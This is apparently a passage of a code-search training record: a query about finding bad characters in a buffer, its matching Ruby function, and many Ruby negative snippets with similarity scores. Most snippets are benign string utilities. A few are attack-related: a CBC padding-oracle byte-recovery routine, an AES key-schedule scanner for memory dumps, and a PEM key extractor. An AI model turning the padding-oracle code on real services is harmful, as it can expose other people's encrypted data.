"def genbank\n chars = 60\n lines = (length / chars.to_f).ceil\n width = length.to_s.length\n\n s = ''\n (1..lines).each do |i|\n s << \"%#{width}d\" % (chars * (i - 1) + 1)\n s << ' '\n s << to_s[chars * (i - 1), chars].scan(/\\w{1,10}/).join(' ')\n s << \"\\n\"\n end\n s\n end",
"def print_out(distance, prior, decided)\n puts \"Next Round: \"\n puts sprintf \"\\t %-10s %s\", \"Dist:\", \" #{distance}\"\n puts sprintf \"\\t %-10s %s\", \"Prior:\", \" #{prior}\"\n puts sprintf \"\\t %-10s %s\", \"Decided:\", \" #{decided}\"\nend",
"def increase_consumed_lines_to(value)\n while @consumed_lines < value\n STDOUT.print \"\\n\"\n @consumed_lines += 1\n end\n end"
] |
[
"0.6342596",
"0.6232745",
"0.61554515",
"0.61487836",
"0.61064434",
"0.60587054",
"0.6053139",
"0.60148823",
"0.597747",
"0.5969168",
"0.59689826",
"0.59668905",
"0.594463",
"0.59252626",
"0.58896005",
"0.5864212",
"0.58584535",
"0.5845453",
"0.581423",
"0.5812157",
"0.5807852",
"0.5807719",
"0.5807072",
"0.57963365",
"0.57865983",
"0.57742596",
"0.5758865",
"0.5730276",
"0.5720396",
"0.5713111",
"0.57079506",
"0.570704",
"0.57045513",
"0.57037973",
"0.5682831",
"0.5679757",
"0.5678269",
"0.5674105",
"0.5673595",
"0.56732446",
"0.5649476",
"0.56306875",
"0.5625672",
"0.5622251",
"0.5611243",
"0.56044894",
"0.5600332",
"0.55957085",
"0.5581801",
"0.558147",
"0.5565812",
"0.55606675",
"0.5560369",
"0.5555631",
"0.5555155",
"0.5554655",
"0.55521476",
"0.5547096",
"0.5546164",
"0.55320543",
"0.55230135",
"0.552108",
"0.55166173",
"0.5516065",
"0.55143523",
"0.55143523",
"0.5512037",
"0.550264",
"0.54817027",
"0.5476339",
"0.5476339",
"0.5476339",
"0.5474972",
"0.54724616",
"0.54724616",
"0.5469815",
"0.54624325",
"0.54580575",
"0.545687",
"0.5454568",
"0.54535025",
"0.5452792",
"0.54505676",
"0.54488635",
"0.5438764",
"0.54334074",
"0.542458",
"0.5422915",
"0.5415189",
"0.5413307",
"0.54120046",
"0.5411283",
"0.5409663",
"0.54049635",
"0.5402018",
"0.53961265",
"0.5391192",
"0.53868556",
"0.53857267",
"0.5382778"
] |
0.71255386
|
0
|
Returns the index of any bad characters found in the supplied buffer. (NOTE: copied from encoder.rb)
|
def has_badchars?(buf, badchars)
badchars.each_byte { |badchar|
idx = buf.index(badchar.chr)
if (idx != nil)
return idx
end
}
return nil
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def find_eow\n\t\t\ti = buffer.index\n\t\t\ti += 1 while ((buffer[i] != nil) && buffer[i].match(/\\w/))\n\t\t\treturn i-1\n\t\tend",
"def char_index(length:, string:)\n i = 0\n char_count = 0\n while i < string.bytesize && char_count < length\n ordinal = string[i].ord\n \n if (ordinal & 0x80) == 0 # 1-byte char\n char_count += 1\n elsif (ordinal & 0xF0) == 0xF0 # 4-byte char\n char_count += 1\n i += 3\n elsif (ordinal & 0xE0) == 0xE0 # 3-byte char\n char_count += 1\n i += 2\n elsif (ordinal & 0xC0) == 0xC0 # 2-byte char\n char_count += 1\n i += 1\n else\n # likely in middle of char; scan forward up to 2 more\n # bytes\n # also, have a boundary condition here; we might have\n # a short read so if we run out of bytes to check just\n # ignore this half-formed char\n j = i + 1\n k = 0\n while k < 2 && j < string.bytesize\n break if (string[j].ord & 0xC0) != 0x80\n k += 1\n j += 1\n i += 1\n end\n end\n \n i += 1\n end\n i\n end",
"def find_missing_letter(arr)\n #your code here\n result = 0\n base_arr = arr.join().codepoints\n base_arr.each_with_index do |item,index|\n if base_arr[index+1] != item + 1\n result = item + 1\n break\n end\n end\n result.chr\nend",
"def skipChars(pos, code)\n max = @src.length\n while pos < max\n break if (charCodeAt(@src, pos) != code)\n pos += 1\n end\n return pos\n end",
"def consumed_chars\n return scanner.charpos if scanner.respond_to?(:charpos)\n\n (scanner.pre_match + scanner.matched).scan(%r{.}mu).length\n end",
"def printer_error(s)\n # your code\n errs = 0\n possibles = s.length\n arr = s.split('')\n\n arr.each do |i|\n if i.ord > 109\n errs += 1\n end\n end\n\n \"#{errs}/#{possibles}\"\nend",
"def scan(buffer, source_offset)\n\n blen = buffer.length\n entropic(buffer, AES_KEYBLOCK_MIN, ENTROPIC_MIN) do |i|\n\n # Exit if we dont have at least 240 bytes left\n return if (i + 240) > blen\n\n # Create a byte map to work in both little and big endian formats\n #[\"V\", \"N\"].each do |endian|\n\n [\"V\"].each do |endian|\n bmap = buffer[i, 240].unpack(\"#{endian}*\")\n\n # Check distance from 256-bit AES key\n xor_count_256 = 0\n 1.upto(7) do |row|\n 0.upto(7) do |column|\n break if (row == 7 and column == 4)\n case column\n when 0\n xor_count_256 += aes_popcount( aes_key_core( bmap[8*row-1], row) ^ bmap[8*(row-1)] ^ bmap[8*row] )\n when 4\n xor_count_256 += aes_popcount( aes_sbox_bytes( bmap[8*row+3]) ^ bmap[8*(row-1)+4] ^ bmap[8*row+4])\n else\n xor_count_256 += aes_popcount( bmap[8*row+column-1] ^ bmap[8*(row-1)+column] ^ bmap[8*row + column])\n end\n end\n end\n\n # We found a possible AES-256 key\n unless xor_count_256 > AES_XOR_LIMIT\n report_hit(:type => \"Key(AES-256)\", :data => bmap[0, 256/32].pack(\"#{endian}*\").unpack(\"C*\").map{|x| \"%.2x\" % x }.join, :offset => source_offset + i)\n next\n end\n\n # Check distance from 128-bit AES key\n xor_count_128 = 0\n 1.upto(10) do |row|\n 0.upto(3) do |column|\n before_count = xor_count_128\n case column\n when 0 \n xor_count_128 += aes_popcount( aes_key_core( bmap[4*row-1],row) ^ bmap[4*(row-1)] ^ bmap[4*row])\n else\n xor_count_128 += aes_popcount( (bmap[4*row + column-1] ^ bmap[4*(row-1)+column]) ^ bmap[4*row + column])\n end\n end\n end\n\n # We found a possible AES-128 key\n unless xor_count_128 > AES_XOR_LIMIT\n report_hit(:type => \"Key(AES-128)\", :data => bmap[0, 128/32].pack(\"#{endian}*\").unpack(\"C*\").map{|x| \"%.2x\" % x }.join, :offset => source_offset + i)\n end\n end\n end\n\n end",
"def decode(s)\n i = 0\n base = ALPHABET.length\n s.each_char { |c| i = i * base + ALPHABET.index(c) }\n i\n end",
"def index_of_char(str, char)\n i = 0\n while i < str.length\n if str[i] == char\n return i\n end\n\n i += 1\n end\n\n return nil\nend",
"def _rl_find_next_mbchar(string, seed, count, flags)\r\n if @encoding == 'N'\r\n return (seed + count)\r\n end\r\n seed = 0 if seed < 0\r\n return seed if count <= 0\r\n\r\n point = seed + _rl_adjust_point(string,seed)\r\n if (seed < point)\r\n count -= 1\r\n end\r\n\r\n str = (flags == MB_FIND_NONZERO) ? string.sub(/\\x00+$/,'') : string\r\n\r\n case @encoding\r\n when 'E'\r\n point += str[point..-1].scan(/./me)[0,count].to_s.length\r\n when 'S'\r\n point += str[point..-1].scan(/./ms)[0,count].to_s.length\r\n when 'U'\r\n point += str[point..-1].scan(/./mu)[0,count].to_s.length\r\n when 'X'\r\n point += str[point..-1].force_encoding(@encoding_name)[0,count].bytesize\r\n else\r\n point += count\r\n point = str.length if point >= str.length\r\n end\r\n point\r\n end",
"def indexes_of(substring)\n cipher_text.\n gsub(/\\s/, ''). # remove all whitespace\n enum_for(:scan, substring).map { Regexp.last_match.begin(0) }\n end",
"def uindex_to_index(char_index)\n return nil if char_index.nil?\n if char_index < 0 || char_index > jlength\n raise RangeError, 'index out of range'\n end\n \n chars = split('')\n byte_index = 0\n char_index.times do |i|\n byte_index += chars[i].length\n end\n byte_index\n end",
"def count_multibyte_char(str)\n str.each_char.select{ |c| c.bytesize > 1 }.count\nend",
"def indexes_of(char, str)\n indexes = []\n str.chars.each_with_index do |current_char, index|\n indexes << index if current_char.eql?(char)\n end\n indexes\n end",
"def index_of_char(string, character)\n i = 0\n position = nil\n while i < string.length\n if string[i] == character\n position = i\n break\n else\n i += 1\n end\n end\n return position\nend",
"def first_char_idx\n dewey? ? 3 : 0\n end",
"def find_guess_position(needle)\n get_index = lambda { |character, index| index if character == needle }\n indexes = @secret_word.split(\"\").map.with_index(&get_index).reject { |c| c.nil? }\n end",
"def index(str, *args)\n bidx = str.index(*args)\n bidx ? (str.slice(0...bidx).unpack(\"U*\").size) : nil\n end",
"def index_of_char(string, character)\n i = 0\n output = []\n while i < string.length\n if character == string[i]\n output << i\n end\n i += 1\n end\n if output == []\n output = nil\n end\n return output\nend",
"def count_chars(string)\n char_count = 0\n i = 0\n while i < string.bytesize\n ordinal = string[i].ord\n print \"i [#{i}] char [#{string[i].inspect}, #{string[i+1].inspect}], ordinal [#{ordinal}] \" if @debug\n \n if (ordinal & 0x80) == 0 # 1-byte char\n char_count += 1\n puts \"1-byte-char, char_count [#{char_count}]\" if @debug\n elsif (ordinal & 0xF0) == 0xF0 # 4-byte char\n char_count += 1\n i += 3\n puts \"4-byte-char, char_count [#{char_count}]\" if @debug\n elsif (ordinal & 0xE0) == 0xE0 # 3-byte char\n char_count += 1\n i += 2\n puts \"3-byte-char, char_count [#{char_count}]\" if @debug\n elsif (ordinal & 0xC0) == 0xC0 # 2-byte char\n char_count += 1\n i += 1\n puts \"2-byte-char, char_count [#{char_count}]\" if @debug\n else\n # likely in middle of char; scan forward up to 2 more\n # bytes\n # also, have a boundary condition here; we might have\n # a short read so if we run out of bytes to check just\n # ignore this half-formed char\n puts \"middle-of-char\" if @debug\n j = i + 1\n k = 0\n while k < 2 && j < string.bytesize\n break if (string[j].ord & 0xC0) != 0x80\n k += 1\n j += 1\n i += 1\n end\n end\n \n i += 1\n end\n char_count\n end",
"def last_index(str, char)\n i = 0\n str.each_char.with_index do |ch,ind|\n if ch == char\n i = ind\n end\n end\n return i\nend",
"def count_multibyte_char(strings)\n count = 0\n strings.each_char do |x|\n count += 1 if x.bytesize > 1\n end\n count\nend",
"def _rl_get_char_len(src)\r\n return 0 if src[0,1] == 0.chr || src.length==0\r\n case @encoding\r\n when 'E'\r\n len = src.scan(/./me)[0].to_s.length\r\n when 'S'\r\n len = src.scan(/./ms)[0].to_s.length\r\n when 'U'\r\n len = src.scan(/./mu)[0].to_s.length\r\n when 'X'\r\n src = src.dup.force_encoding(@encoding_name)\r\n len = src.valid_encoding? ? src[0].bytesize : 0\r\n else\r\n len = 1\r\n end\r\n len==0 ? -2 : len\r\n end",
"def next_match char\n data = get_content\n row = focussed_index\n currval = data[row].chomp\n row.upto(data.length-1) do |ix|\n val = data[ix].chomp\n if val[0,1] == char and val != currval\n return ix\n end\n end\n 0.upto(row) do |ix|\n val = data[ix].chomp\n if val[0,1] == char and val != currval\n return ix\n end\n end\n return -1\n end",
"def scan(buffer, source_offset)\n buffer.scan(\n /-----BEGIN\\s*[^\\-]+-----+\\r?\\n[^\\-]*-----END\\s*[^\\-]+-----\\r?\\n?/m\n ).each do |m|\n # This may hit an earlier identical match, but thats ok\n last_offset = buffer.index(m)\n report_hit(:plugin => self, :type => 'PEM', :data => m, :offset => source_offset + last_offset)\n last_offset += m.length\n end\n end",
"def determine_missing_letter(arr)\n alpha = ('A'..'z').to_a\n current_index = alpha.index(arr.first)\n arr.each_with_index do |char, index|\n next if index == 0\n if alpha.index(char) != current_index + 1\n return alpha[current_index + 1]\n end\n current_index += 1\n end\nend",
"def _rl_find_prev_mbchar(string, seed, flags)\r\n if @encoding == 'N'\r\n return ((seed == 0) ? seed : seed - 1)\r\n end\r\n\r\n length = string.length\r\n if seed < 0\r\n return 0\r\n elsif length < seed\r\n return length\r\n end\r\n\r\n case @encoding\r\n when 'E'\r\n string[0,seed].scan(/./me)[0..-2].to_s.length\r\n when 'S'\r\n string[0,seed].scan(/./ms)[0..-2].to_s.length\r\n when 'U'\r\n string[0,seed].scan(/./mu)[0..-2].to_s.length\r\n when 'X'\r\n string[0,seed].force_encoding(@encoding_name)[0..-2].bytesize\r\n end\r\n end",
"def str_byte_index(haystack, needle, offset = 0)\n haystack.index(needle, offset)\n end",
"def char_indices(str)\n solved = Hash.new() { |h, k| h[k] = [] }\n str.each_char.with_index do |char, i|\n solved[char] << i\n end\n solved\nend",
"def index_of_char(string, letter)\n i = 0\n while i < string.length\n if string[i] == letter\n return i\n end\n i += 1\n end\n return nil\nend",
"def first_char_with_ascii_gr8ter_120(input)\n input.find do |c|\n c.ord > 120\n end\nend",
"def rightMostChar string, char\n\tindex = -1\n\tstring.each_char.with_index(0) do |char_str, i|\n\t\tif char_str == char\n\t\t\tindex = i\n\t\tend\n\tend\n\treturn index\nend",
"def test_srch_back_for_nonexist_pattern\n @buffer = Buffer.new 'Now is the time for all good men to come to the aid of their country'\n @buffer.fin\n @buffer.srch_back 'xxyyzz'\n assert_eq '', @buffer.at\n end",
"def non_repeating_char_index(string) \n hash = {}\n\n string.length.times do |i|\n if !hash.has_key?(string[i])\n hash[string[i]] = 1\n else\n hash[string[i]] += 1\n end\n end\n\n char = hash.select { |char, occurence| occurence == 1}\n .map { |char, occurence| char }[0]\n\n return string.index(char) \nend",
"def char_indices(str) \n count = Hash.new { |h,k| h[k] = [] }\n\n str.each_char.with_index { |char, i| count[char] << i }\n count\nend",
"def line_index(pos=pos())\n p = n = 0\n string.each_line do |line|\n p += line.length\n return n if p >= pos\n n += 1\n end\n 0\n end",
"def hack_byte(box, b1, b0, found)\n padding_target = 1 + found.size\n postmask = found.map{|f| f ^ padding_target}.pack(\"C*\")\n\n if found.empty?\n premask = ([0] * (16 - found.size - 2)).pack(\"C*\")\n\n (0..255).each do |i|\n maska = premask + [0, i ^ padding_target].pack(\"CC\") + postmask\n maskb = premask + [128, i ^ padding_target].pack(\"CC\") + postmask\n if box.valid?(b1.xor(maska) + b0) and box.valid?(b1.xor(maskb) + b0)\n return i\n end\n end\n else\n premask = ([0] * (16 - found.size - 1)).pack(\"C*\")\n\n (0..255).each do |i|\n maska = premask + [i ^ padding_target].pack(\"C\") + postmask\n if box.valid?(b1.xor(maska) + b0)\n return i\n end\n end\n end\n\n raise \"Attack failed\"\n end",
"def count_possible_decodings(message)\n return 1 if message.nil? || message.empty? || message.length == 1\n\n possibilities = 0\n num_chars = 1\n loop do\n chars = message[0...num_chars]\n\n # Not enough characters for a bigger slice, or we have a leading zero\n break if chars.length != num_chars\n\n # Can't possibly be an encoded character\n break if chars.to_i > $max_encoded_value\n\n possibilities += count_possible_decodings(message[num_chars..-1])\n num_chars += 1\n end\n\n possibilities\nend",
"def decode s\n i = 0\n s.each_char { |c| i = i * @base + @sequence.index(c) }\n i\n end",
"def check_utf8_encoding\n return nil if self.encoding != Encoding.find('utf-8')\n state = :s0\n n_of_chars = 0\n self.bytes.each do |byte|\n case state\n when :s0\n n_of_chars += 1\n if (0x00..0x7F).include?(byte) then state = :s0\n elsif (0xC2..0xDF).include?(byte) then state = :s1\n elsif 0xE0 == byte then state = :s2\n elsif (0xE1..0xEC).include?(byte) || (0xEE..0xEF).include?(byte) then state = :s3\n elsif 0xED == byte then state = :s4\n elsif 0xF0 == byte then state = :s5\n elsif (0xF1..0xF3).include?(byte) then state = :s7\n elsif 0xF4 == byte then state = :s8\n else return nil end\n when :s1\n if (0x80..0xBF).include?(byte) then state = :s0 \n else return nil end\n when :s2\n if (0xA0..0xBF).include?(byte) then state = :s1\n else return nil end\n when :s3\n if (0x80..0xBF).include?(byte) then state = :s1\n else return nil end\n when :s4\n if (0x80..0x9F).include?(byte) then state = :s1\n else return nil end\n when :s5\n if (0x90..0xBF).include?(byte) then state = :s6\n else return nil end\n when :s6\n if (0x80..0xBF).include?(byte) then state = :s1\n else return nil end\n when :s7\n if (0x80..0xBF).include?(byte) then state = :s6\n else return nil end\n when :s8\n if (0x80..0x8F).include?(byte) then state = :s6\n else return nil end\n end # case\n end # self.bytes.each\n if state == :s0 then return n_of_chars\n else return nil end\n end",
"def char_indices(str)\n indices = Hash.new { |char, idx| char[idx] = [] }\n str.each_char.with_index { |char, idx| indices[char].push(idx) }\n indices\nend",
"def char_indices(str)\n indices = Hash.new { |hash, key| hash[key] = [] }\n\n str.each_char.with_index { |char, index| indices[char].push(index) }\n\n indices\nend",
"def findAt(ind)\n howMany = 0\n\n ind.each_char do |let|\n if let ==\"@\"\n howMany += 1\n else\n next\n end\n\n end\n\n if howMany == 1\n return true\n else\n return false\n end\n\nend",
"def line_index(pos=pos)\n p = n = 0\n string.each_line do |line|\n p += line.length\n return n if p >= pos\n n += 1\n end\n 0\n end",
"def char_indices(str) \n indicies = Hash.new { |h, k| h[k] = [] }\n\n str.each_char.with_index do |char, idx_1| \n indicies[char] << idx_1 \n end \n\n indicies\nend",
"def next_unused_letter sol\n\n\tx = 'a'.ord\n\n\tfor i in 0...sol.size\n\t\tfor j in 0...sol[0].size\n\t\t\tif sol[i][j].ord > x\n\t\t\t\tx = sol[i][j].ord\n\t\t\tend\n\t\tend\n\tend\n\n\treturn (x + 1).chr\nend",
"def char_indices(str)\n place = Hash.new { |place, k| place[k] = [] }\n\n str.each_char.with_index do |char, i|\n place[char] << i\n end\n\n place\nend",
"def char_indices(str)\n char_hash = Hash.new { |h, k| h[k] = [] }\n str.chars.each_with_index { |char, i| char_hash[char] << i }\n char_hash\nend",
"def str_str(haystack, needle)\n return 0 if needle == \"\"\n \n haystack.each_char.with_index do |char, idx|\n if char == needle[0]\n return idx if haystack[idx, needle.length] == needle\n end\n end\n -1\nend",
"def findchar(char, text, start, endpos)\n\n iTex = start\n iRes = 0\n results = Array.new(0,0)\n\n while true\n if iTex > endpos then\n return results\n end\n\n if text[iTex] == char then\n results[iRes] = iTex\n iRes = iRes + 1\n end\n\n iTex = iTex + 1\n end\nend",
"def next_match char\n data = get_content\n row = focussed_index + 1\n row.upto(data.length-1) do |ix|\n val = data[ix].chomp rescue return # 2010-01-05 15:28 crashed on trueclass\n #if val[0,1] == char #and val != currval\n if val[0,1].casecmp(char) == 0 #AND VAL != CURRval\n return ix\n end\n end\n row = focussed_index - 1\n 0.upto(row) do |ix|\n val = data[ix].chomp\n #if val[0,1] == char #and val != currval\n if val[0,1].casecmp(char) == 0 #and val != currval\n return ix\n end\n end\n return -1\n end",
"def char_indices(str)\n indices = Hash.new { |h, k| h[k] = [] }\n\n str.each_char.with_index { |char, idx| indices[char] << idx }\n\n indices\nend",
"def char_indices(str)\n hash = Hash.new {|h, k| h[k] = [] }\n str.each_char.with_index {|char, idx| hash[char] << idx}\n hash\nend",
"def char_indices(str)\n indices = Hash.new([])\n str.each_char.with_index { |char, i| indices[char] += [i] }\n indices\nend",
"def char_indices(str)\n hash = Hash.new { |h,k| h[k] = [] }\n str.each_char.with_index { |char,i| hash[char] << i }\n hash\nend",
"def char_indices(str)\n hash = Hash.new { |h,k| h[k] = [] }\n\n str.each_char.with_index { |char, i| hash[char] << i }\n hash\nend",
"def char_indices(str)\n hash = Hash.new {|h,k| h[k] = []}\n str.each_char.with_index do |char, i|\n hash[char] << i\n end\n hash\nend",
"def test_exotic_char\n CheckFile @writer, @ioservice, @adlers, \n \"J'espère que ça va marcher\", \n \"J'espère que ça va marcher\".bytes.each_slice(@chunkSize).to_a.map{|a| a.pack('C*')} \n end",
"def look_ahead(pos)\n offset = @index + pos - 1\n if @buffer.length < offset + 1\n char = @input.read(offset + 1 - @buffer.length)\n @buffer << char if not char.nil?\n end\n\n if offset < @buffer.length\n @buffer[offset]\n else\n :EOF\n end\n end",
"def char_indices(str)\n index_hash = Hash.new{ |h, k| h[k] = []}\n str.each_char.with_index do |char, idx|\n index_hash[char] << idx\n end\n return index_hash\nend",
"def find_missing_letter(range)\n numbers = []\n\n range.each_byte do |number|\n numbers << number\n end\n\n starting_point = numbers[0]\n ending_point = numbers.last\n\n new_array = []\n\n range_length = range.length\n\n range_length.times do\n new_array << starting_point.next\n starting_point += 1\n end\n\n missing_letter = \"\"\n counter = 0\n range_length.times do\n if new_array[counter] == numbers[counter + 1]\n counter += 1\n else\n missing_letter = new_array[counter]\n end\n end\n\n if missing_letter < ending_point\n return missing_letter.chr\n else\n return nil\n end\nend",
"def decode(sentence)\n i = 0\n base = @alphabet.length\n sentence.each_char { |c| i = i * base + @alphabet.index(c) }\n i - @booster\n end",
"def index_to_uindex(byte_index)\n return nil if byte_index.nil?\n if byte_index < 0 || byte_index > length\n raise RangeError, 'index out of range'\n end\n \n chars = split('')\n char_index = 0\n chars.each do |ch|\n break if byte_index == 0\n byte_index -= ch.length\n return nil if byte_index < 0\n char_index += 1\n end\n char_index\n end",
"def last_index(str, char)\n arr = str.chars\n\n setupArr = arr.map.with_index do |ele, idx|\n\n if ele == char\n idx\n else\n 0\n end\n end\n\n returnStr = setupArr.select { |ele| ele > 0 }\n\n return returnStr[-1]\n\nend",
"def char_indices(str)\n hash = Hash.new{|h, k| h[k] = []}\n str.each_char.with_index do |char, i|\n hash[char] << i\n end\n hash\nend",
"def bytepos; end",
"def index_positions(message)\n cracker.character_map.each_with_index do |char, index|\n if char == message\n @indexes << index\n end\n end\n indexes\n end",
"def find_vowel_index(word, char_idx, count_direction)\n vowel_index = char_idx\n word.length.times do\n if is_vowel?(word[char_idx])\n vowel_index = char_idx\n break\n end\n char_idx += count_direction\n end\n return vowel_index\nend",
"def char_indices(str)\n indices = Hash.new { |h, k| h[k] = Array.new}\n\n str.each_char.with_index do |char, idx|\n indices[char] << idx\n end\n\n indices\nend",
"def char_indices(str)\n indices = Hash.new { |h, k| h[k] = Array.new}\n\n str.each_char.with_index do |char, idx|\n indices[char] << idx\n end\n\n indices\nend",
"def verify(buffer)\n if buffer[0..buffer.length-2].uniq.length == 1\n return buffer.last\n else\n puts buffer\n raise \"Error, validation of self-checks failed\"\n end\nend",
"def find_missing_letter(arr)\n alphabets = (arr[0]..arr[-1]).to_a # [\"a\", \"b\", \"c\", \"d\", \"e\", \"f\"]\n \n (alphabets - arr)[0] # \"e\"\nend",
"def column_index(col)\n col.each_codepoint.reduce(0) do |sum, n|\n break sum - 1 if n < A_CODEPOINT # reached a number\n\n sum * 26 + (n - A_CODEPOINT + 1)\n end\n end",
"def char_indices(str)\n hash = Hash.new { |h,k| h[k] = [] }\n str.chars.each_with_index do |char, idx|\n hash[char] << idx\n end\n hash\nend",
"def find_missing_number(sequence)\n p '--- Jan-05-2017 problem -----'\n # non-numeric characters will be 0\n seq = sequence.split.map(&:to_i).sort\n p seq\n # Assigin the starting index at 1\n # will return 1 if it contains 0 (non-numerics)\n seq.each.with_index(1) do |e, i|\n p \"index is #{i} and e is #{e}\"\n return i unless e == i\n end\n # return 0 if it all passes\n 0\nend",
"def char_offset(byte_offset)\n string.byteslice(0, byte_offset).length\n end",
"def next_match char\n start = @current_index\n start.upto(@list.length-1) do |ix|\n if @list[ix][0,1].casecmp(char) == 0\n return @list[ix] unless @list[ix] == @buffer\n end\n @current_index += 1\n end\n ## could not find, start from zero\n @current_index = 0\n start = [@list.length()-1, start].min\n 0.upto(start) do |ix|\n if @list[ix][0,1].casecmp(char) == 0\n return @list[ix] unless @list[ix] == @buffer\n end\n @current_index += 1\n end\n @current_index = [@list.length()-1, @current_index].min\n return nil\n end",
"def next_match char\n start = @current_index\n start.upto(@list.length-1) do |ix|\n if @list[ix][0,1].casecmp(char) == 0\n return @list[ix] unless @list[ix] == @buffer\n end\n @current_index += 1\n end\n ## could not find, start from zero\n @current_index = 0\n start = [@list.length()-1, start].min\n 0.upto(start) do |ix|\n if @list[ix][0,1].casecmp(char) == 0\n return @list[ix] unless @list[ix] == @buffer\n end\n @current_index += 1\n end\n @current_index = [@list.length()-1, @current_index].min\n return nil\n end",
"def char_indices(str)\n result = Hash.new {|k,v| k[v]=[]}\n str.each_char.with_index { |char,i| result[char] << i}\n result\nend",
"def target_to_int(alphabet, target)\n target.split(//).map { |ch| \n v = alphabet.index(ch)\n if (v == nil)\n puts \"Password character '#{ch}' is not part of alphabet\"\n exit -1\n end\n v\n }\nend",
"def ascii_value(string)\n counter = 0\n string.chars.map { |e| counter += e.ord }\n counter\nend",
"def look_ahead(pos)\n offset = @index + pos - 1\n if @buffer.length < offset + 1\n char = @input.read(offset + 1 - @buffer.length)\n @buffer << char if not char.nil?\n end\n\n if offset < @buffer.length\n @buffer[offset]\n else\n EOF\n end\n end",
"def ascii_value(str)\n counter = 0\n str.each_char do |char|\n counter = counter + char.ord\n end\n counter\nend",
"def letter_index(user_letter)\n letter_indeces =[]\n if user_letter.length > 1\n if user_letter == @word.gsub(/[^0-9A-Za-z]/, '')\n you_win\n letter_indeces = (0...@letters.length).to_a\n end\n else\n @letters.length.times do |i|\n if @letters[i] == user_letter\n letter_indeces << i\n end\n end\n end\n return letter_indeces\n end",
"def custom_count(string, search_chars)\n count = 0\n string.each_char { |chr|\n count += 1 if search_chars.include?(chr)\n }\n count\nend",
"def boyerMooreStringSearch(text,pattern,bad_symbol_shift,good_suffix_shift)\n\treturn nil if pattern.nil? or text.nil?\n text, pattern = text.unpack('U*'), pattern.unpack('U*')\n n=0 \n while (n <= text.length - pattern.length) do \n m = pattern.length - 1 \n while (pattern[m] == text[m+n]) do\n return n if m==0 \n m -= 1; \n end \n # If not found, shift based on our precomputed tables\n n += max(good_suffix_shift[m], m - bad_symbol_shift[text[n+m]]);\n end\n return nil \nend",
"def char_indices(str)\n count = Hash.new(0)\n\n str.each_char.with_index do |char, i|\n count[char.downcase] = (0..str.length - 1).find_all { |i| str[i, 1] == char }\n end\n count\nend",
"def rindex_method\n\n puts \"type string:\"\n string = gets.chomp\n puts \"trype letter to find:\"\n find_char = gets.chomp\n\n puts \"So the question is, how many character spots in does the righmost occurance of \\\"#{find_char}\\\" exist?\"\n array = string.chars\n counter = 0\n total_char = string.length - 1\n backwards_array = array.reverse\n if array.include?(find_char) == true\n while true\n if backwards_array [(0 + counter.to_i)] == find_char.to_s\n puts \"the character \\\"#{find_char}\\\" is indexed at \" + (total_char-counter).to_s + \" spots in at the rightmost place\"\n break\n else\n counter += 1\n end\n end\n else\n puts \"try again, the character \\\"#{find_char}\\\" does not exist within the string \\\"#{string}\\\"\"\n end\nend",
"def char_counter_1(string, char)\n string.scan(/#{char}/).length\nend",
"def char_indices(str)\n hash = Hash.new { |h, k| h[k] = [] }\n\n str.each_char.with_index { |char, ind| hash[char] << ind }\n \n hash\nend",
"def check_for_correct_indexes(user_guess, solution)\n zipped = @solution.zip(user_guess)\n @correct_indexes = zipped.count do |char, idx|\n char == idx\n end\n end",
"def mylength str\n length = str.length\n str.unpack(\"U*\").each do |char|\n length = length + 1 if char > 255\n end\n length\nend",
"def last_index(str, char)\n\tidx = []\n \ti = 0\n\n\twhile i < str.length\n if str[i] == char\n idx << i\n end\n i += 1\n end\n \treturn idx[-1]\nend",
"def bad_decode(letter1, letter2, letter3)\n new1 = \"abcdefghijklmnopqrstuvwxyz\".index(letter1) - 1\n puts \"abcdefghijklmnopqrstuvwxyz\"[new1.to_i]\n new2 = \"abcdefghijklmnopqrstuvwxyz\".index(letter2) - 1\n puts \"abcdefghijklmnopqrstuvwxyz\"[new2.to_i]\n new3 = \"abcdefghijklmnopqrstuvwxyz\".index(letter3) - 1\n puts \"abcdefghijklmnopqrstuvwxyz\"[new3.to_i]\nend",
"def first_char_with_odd_ascii_gr8ter_80(input)\n input.find do |c|\n c.ord.odd? && c.ord > 80\n end\n end",
"def funny string\n arr = string.chars\n count = 0\n arr.each_with_index do |x,xi|\n if xi > 0\n s1 = (x.ord - arr[xi-1].ord).abs\n s2 = (arr[-(xi+1)].ord - arr[-xi].ord).abs\n s1 == s2 ? count +=1 : break\n end\n end\n puts count == arr.size-1 ? 'Funny' : 'Not Funny'\nend",
"def letter_to_index(letter)\n ALPHA26.index(letter.upcase)\n end",
"def count(message)\n return 0 if message.empty?\n total = 1\n n = message.size\n prev_total = total\n i = n-1\n\n while i >= 0\n\n current_char = message[i].to_i\n adjact_char = message[i,2].to_i\n\n current_count = (current_char == 0) ? 0 : total\n\n current_count += prev_total if i < n-1 && current_char > 0 && adjact_char < 27\n\n prev_total = total\n total = current_count\n\n i -= 1\n end\n\n message.nil? ? 0 : total\nend",
"def findFirstNonrepeatingCharacterBruteForce(string)\n\tcharactersArray = string.split(\"\")\n\tuniqueCharsArray = charactersArray.uniq\n\tfor char in uniqueCharsArray\n\t\tcounter = 0\n\t\tfor i in 0..charactersArray.length-1\n\t\t\tif charactersArray[i] == char\n\t\t\t\tcounter += 1\n\t\t\tend\n\t\tend\n\t\tif counter == 1\n\t\t\treturn char\n\t\tend\n\tend\n\treturn nil\nend",
"def findEndBuffer\n offset = @file_size - 4\n while EVENTRECORDLENGTH.decode(read_buffer(offset, 4, -1))[:record_length] == 0x27\n offset -= 4\n end\n offset + 4\n end"
] |
[
"0.6443524",
"0.5901925",
"0.57040524",
"0.546958",
"0.5403545",
"0.53708297",
"0.5349726",
"0.53490645",
"0.5318333",
"0.5298924",
"0.5295317",
"0.5262416",
"0.52576387",
"0.5239765",
"0.5235829",
"0.5233681",
"0.52101606",
"0.51936334",
"0.51900554",
"0.518139",
"0.5173821",
"0.5161012",
"0.5144773",
"0.5118411",
"0.511564",
"0.5097625",
"0.50588953",
"0.5047804",
"0.50225",
"0.5011835",
"0.5008303",
"0.5003298",
"0.49982685",
"0.499347",
"0.49805102",
"0.4973646",
"0.49615416",
"0.4961056",
"0.4949743",
"0.49386117",
"0.4894704",
"0.4891611",
"0.48914617",
"0.48804435",
"0.48687628",
"0.4868551",
"0.4867851",
"0.48558113",
"0.4846823",
"0.48375824",
"0.48293743",
"0.48282537",
"0.48238376",
"0.48222616",
"0.48185515",
"0.48034802",
"0.4794307",
"0.47872743",
"0.47864896",
"0.47834736",
"0.47796947",
"0.4777289",
"0.4770825",
"0.47705692",
